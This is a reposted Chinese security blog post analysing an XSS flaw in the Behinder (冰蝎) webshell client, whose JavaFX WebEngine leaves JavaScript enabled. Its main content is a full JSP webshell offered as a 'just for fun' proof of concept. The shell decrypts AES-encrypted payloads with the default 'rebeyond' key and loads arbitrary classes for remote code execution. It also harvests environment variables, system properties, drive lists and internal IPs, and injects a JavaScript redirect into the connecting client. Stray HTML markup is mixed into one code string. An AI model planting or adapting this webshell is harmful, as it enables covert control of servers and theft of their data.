冰蝎漏洞分析另附娱乐向XSS poc

admin 2023年8月31日01:33:19评论170 views字数 10748阅读35分49秒阅读模式

免责声明:

本公众号致力于安全研究和红队攻防技术分享等内容,本文中所有涉及的内容均不针对任何厂商或个人,同时由于传播、利用本公众号所发布的技术或工具造成的任何直接或者间接的后果及损失,均由使用者本人承担。请遵守中华人民共和国相关法律法规,切勿利用本公众号发布的技术或工具从事违法犯罪活动。最后,文中提及的图文若无意间导致了侵权问题,请在公众号后台私信联系作者,进行删除操作。

0x01 前言

前几天已经被“冰蝎连接恶意Shell导致客户端RCE或任意读取”霸屏朋友圈了。这边我也斗胆分析了一波,并且给出一个纯娱乐的poc。

0x02 分析

根据网上流出来的视频,不难看出漏洞触发点在基本信息处,定位到漏洞点net.rebeyond.behinder.ui.controller.MainWindowController。

冰蝎漏洞分析另附娱乐向XSS poc

问题出在了javafx.scene.web.WebEngine没有禁止掉js,然而我们通过重写webshell的实现,可以控制返回给客户端的内容,这样就能够在客户端执行任意js代码。

关于javafx中WebEngine的使用可以参考这篇文章:https://www.tabnine.com/code/java/methods/javafx.scene.web.WebEngine/load、https://blog.csdn.net/weixin_43314519/article/details/109298065

0x03 漏洞修复

在新版本的冰蝎中,作者已经修复了这个问题,我们看下代码中禁用了webengine.setJavaScriptEnabled(false);

冰蝎漏洞分析另附娱乐向XSS poc

0x04 XSS POC

最后附上一个xss的poc:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>            <%@ page import="java.lang.reflect.Method" %>            <%@ page import="java.net.NetworkInterface" %>            <%@ page import="java.net.InetAddress" %>            <%@ page import="java.net.Inet4Address" %>            <%@ page import="java.lang.reflect.Method" %>            <%@ page import="java.util.*" %>            <%@ page import="java.io.File" %>            <%@ page import="java.net.NetworkInterface" %>            <%@ page import="java.net.InetAddress" %>            <%@ page import="java.net.Inet4Address" %>            <%@ page import="javax.crypto.spec.SecretKeySpec" %>            <%@ page import="javax.crypto.Cipher" %>            <%@ page import="java.nio.file.Files" %>            <%@ page import="java.nio.file.Paths" %>            <%@ page import="java.io.InputStreamReader" %>            <%@ page import="java.io.FileInputStream" %>            <%@ page import="java.io.BufferedReader" %>            <%!class U extends ClassLoader{                U(ClassLoader c){super(c);                }                public Class g(byte []b){                return super.defineClass(b,0,b.length);            }}            %>            <%!                Boolean isGetBaseinfo(byte[] mBaseData) {                    byte[] src = new byte[]{98, 97, 115, 105, 99, 73, 110, 102, 111};                    int i = 0;                    while (i < mBaseData.length) {                        if (mBaseData[i] == src[0]) {                            for (int j = 0; j < 9; j = j + 1) {                                if (mBaseData[i + j] == src[j] && j == 8) {                                    return true;                                } else if (mBaseData[i + j] != src[j]) {                                    break;                                }            

                            }                            i++;                        } else {                            i++;                        }                    }                    return false;                }            %>            <%!                class  Rebeyond {                    private Object Request;                    private Object Response;                    private Object Session;                    private String key;                    private String Filepath;                    private String Data;            

                    public Rebeyond(String key,String Filepath,String Data) {                        this.key = key;                        this.Filepath = Filepath;                        this.Data = Data;                    }            

                    public String getData(Object obj) {                        HashMap result = new HashMap();                        boolean var22 = false;            

                        Object so;                        Method write;                        label132: {                            try {                                var22 = true;                                this.fillContext(obj);                                StringBuilder basicInfo = new StringBuilder("            环境变量:            ");                                Map<String, String> env = System.getenv();                                Iterator var5 = env.keySet().iterator();            

                                while(var5.hasNext()) {                                    String name = (String)var5.next();                                    basicInfo.append(name + "=" + (String)env.get(name) + "            ");                                }            

                                basicInfo.append("            JRE系统属性:            ");                                Properties props = System.getProperties();                                Set<Map.Entry<Object, Object>> entrySet = props.entrySet();                                Iterator var7 = entrySet.iterator();            

                                while(var7.hasNext()) {                                    Map.Entry<Object, Object> entry = (Map.Entry)var7.next();                                    basicInfo.append(entry.getKey() + " = " + entry.getValue() + "            ");                                }            

                                String currentPath = (new File("")).getAbsolutePath();                                String driveList = "";                                File[] roots = File.listRoots();                                File[] var10 = roots;                                int var11 = roots.length;            

                                for(int var12 = 0; var12 < var11; ++var12) {                                    File f = var10[var12];                                    driveList = driveList + f.getPath() + ";";                                }            

                                String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");                                Map<String, String> entity = new HashMap();                                //xss设置                                //xss设置                                String content = "";                                StringBuilder builder = new StringBuilder();                                if (this.Filepath != "") {                                    File file = new File(this.Filepath);                                    InputStreamReader streamReader = new InputStreamReader(new FileInputStream(file), "UTF-8");                                    BufferedReader bufferedReader = new BufferedReader(streamReader);            

                                    while ((content = bufferedReader.readLine()) != null)                                        builder.append(content);                                }else {                                    builder.append(this.Data);                                }                                entity.put("basicInfo", builder.toString());                                entity.put("currentPath", currentPath);                                entity.put("driveList", driveList);                                entity.put("osInfo", osInfo);                                entity.put("arch", System.getProperty("os.arch"));                                entity.put("localIp", this.getInnerIp());                                result.put("status", "success");                                result.put("msg", this.buildJson(entity, true));                                var22 = false;                                break label132;                            } catch (Exception var26) {                                var22 = false;                            } finally {                                if (var22) {                                    try {                                        return new String(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")),"UTF-8");                                    } catch (Exception var23) {                                    }            

                                }                            }            

                            try {                                return new String(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")),"UTF-8");                            } catch (Exception var24) {                            }            

                        }            

                        try {                            return new String(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")),"UTF-8");                        } catch (Exception var25) {                        }            

                        return "asd";                    }            

                    private String getInnerIp() {                        String ips = "";            

                        try {                            Enumeration<NetworkInterface> netInterfaces = NetworkInterface.getNetworkInterfaces();                            InetAddress ip = null;            

                            while(netInterfaces.hasMoreElements()) {                                NetworkInterface netInterface = (NetworkInterface)netInterfaces.nextElement();                                Enumeration<InetAddress> addresses = netInterface.getInetAddresses();            

                                while(addresses.hasMoreElements()) {                                    ip = (InetAddress)addresses.nextElement();                                    if (ip != null && ip instanceof Inet4Address) {                                        ips = ips + ip.getHostAddress() + " ";                                    }                                }                            }                        } catch (Exception var6) {                        }            

                        ips = ips.replace("127.0.0.1", "").trim();                        return ips;                    }            

                    private String buildJson(Map<String, String> entity, boolean encode) throws Exception {                        StringBuilder sb = new StringBuilder();                        String version = System.getProperty("java.version");                        sb.append("{");                        Iterator var5 = entity.keySet().iterator();            

                        while(var5.hasNext()) {                            String key = (String)var5.next();                            sb.append(""" + key + "":"");                            String value = ((String)entity.get(key)).toString();                            if (encode) {                                Class Base64;                                Object Encoder;                                if (version.compareTo("1.9") >= 0) {                                    this.getClass();                                    Base64 = Class.forName("java.util.Base64");                                    Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);                                    value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));                                } else {                                    this.getClass();                                    Base64 = Class.forName("sun.misc.BASE64Encoder");                                    Encoder = Base64.newInstance();                                    value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));                                    value = value.replace("n", "").replace("r", "");                                }                            }            

                            sb.append(value);                            sb.append("",");                        }            

                        sb.setLength(sb.length() - 1);                        sb.append("}");                        return sb.toString();                    }            

                    private String base64encode(byte[] data) throws Exception {                        String result = "";                        String version = System.getProperty("java.version");            

                        Class Base64;                        try {                            this.getClass();                            Base64 = Class.forName("java.util.Base64");                            Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);                            result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);                        } catch (Throwable var7) {                            this.getClass();                            Base64 = Class.forName("sun.misc.BASE64Encoder");                            Object Encoder = Base64.newInstance();                            result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);                            result = result.replace("n", "").replace("r", "");                        }            

                        return result;                    }            

                    private void fillContext(Object obj) throws Exception {                        if (obj.getClass().getName().indexOf("PageContext") >= 0) {                            this.Request = obj.getClass().getMethod("getRequest").invoke(obj);                            this.Response = obj.getClass().getMethod("getResponse").invoke(obj);                            this.Session = obj.getClass().getMethod("getSession").invoke(obj);                        } else {                            Map<String, Object> objMap = (Map)obj;                            this.Session = objMap.get("session");                            this.Response = objMap.get("response");                            this.Request = objMap.get("request");                        }            

                        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");                    }            

                    private byte[] getMagic() throws Exception {                        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();                        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;                        Random random = new Random();                        byte[] buf = new byte[magicNum];            

                        for(int i = 0; i < buf.length; ++i) {                            buf[i] = (byte)random.nextInt(256);                        }            

                        return buf;                    }            

                    private byte[] Encrypt(byte[] var1) throws Exception {                        String var2 = this.key;                        byte[] var3 = var2.getBytes("utf-8");                        SecretKeySpec var4 = new SecretKeySpec(var3, "AES");                        Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");                        var5.init(1, var4);                        byte[] var6 = var5.doFinal(var1);            

                        Class var7;                        try {                            var7 = Class.forName("java.util.Base64");                            Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);                            var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);                        } catch (Throwable var12) {                            var7 = Class.forName("sun.misc.BASE64Encoder");                            Object var10 = var7.newInstance();                            String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);                            var11 = var11.replace("n", "").replace("r", "");                            var6 = var11.getBytes();                        }            

                        return var6;                    }                }            %>            <%                if (request.getMethod().equals("POST")) {            

                String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/                session.putValue("u",k);                Cipher c=Cipher.getInstance("AES");                c.init(2,new SecretKeySpec(k.getBytes(),"AES"));                byte[] data = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));                if(isGetBaseinfo(data)){                    String Filepath = "";                    String Data = "      <>       "</span></span><span style="mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"><span style="mso-style-parent: 'Verbatim Char'; mso-style-name: 'NormalTok'; font-family: Consolas;"> </span></span><span style="mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"><span style="mso-style-parent: 'Verbatim Char'; mso-style-name: 'OperatorTok'; color: #666666; font-family: Consolas;">+</span></span><span style="mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"><span style="mso-style-parent: 'Verbatim Char'; mso-style-name: 'NormalTok'; font-family: Consolas;"> </span></span><span style="mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"><span style="mso-style-parent: 'Verbatim Char'; mso-style-name: 'StringTok'; color: #4070A0; font-family: Consolas;">"window.location.href = 'https://mp.weixin.qq.com/s/gk7w9ke54uqYi_oJQ-oypw';</span></span><span style="mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"><span style="mso-style-parent: 'Verbatim Char'; mso-style-name: 'SpecialCharTok'; color: #4070A0; font-family: Consolas;">n</span></span><span style="mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"><span style="mso-style-parent: 'Verbatim Char'; mso-style-name: 'StringTok'; color: #4070A0; font-family: Consolas;">"</span></span><span style="mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"><span style="mso-style-parent: 'Verbatim Char'; mso-style-name: 'NormalTok'; font-family: Consolas;"> </span></span><span style="mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"><span style="mso-style-parent: 'Verbatim Char'; mso-style-name: 'OperatorTok'; color: #666666; font-family: Consolas;">+</span></span><span style="mso-bookmark:X1b6d9a9913790729a59e1e92ae38a3e4b1d1a2a"><span style="mso-style-parent: 'Verbatim Char'; mso-style-name: 'StringTok'; color: #4070A0; font-family: Consolas;">"      ";                    Rebeyond Rebeyond = new Rebeyond(k,Filepath,Data);                    String data2 = Rebeyond.getData(pageContext);                    Object respones2 = pageContext.getClass().getMethod("getResponse").invoke(pageContext);                    Object so = respones2.getClass().getMethod("getOutputStream").invoke(respones2);                    Method write = so.getClass().getMethod("write", byte[].class);                    write.invoke(so, data2.getBytes("UTF-8"));                    so.getClass().getMethod("flush").invoke(so);                    so.getClass().getMethod("close").invoke(so);                }else {                    new U(this.getClass().getClassLoader()).g(data).newInstance().equals(pageContext);                }            }%>

冰蝎漏洞分析另附娱乐向XSS poc

原文始发于微信公众号(Lambda小队):冰蝎漏洞分析另附娱乐向XSS poc

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月31日01:33:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   冰蝎漏洞分析另附娱乐向XSS pochttp://cn-sec.com/archives/1994352.html

发表评论

匿名网友 填写信息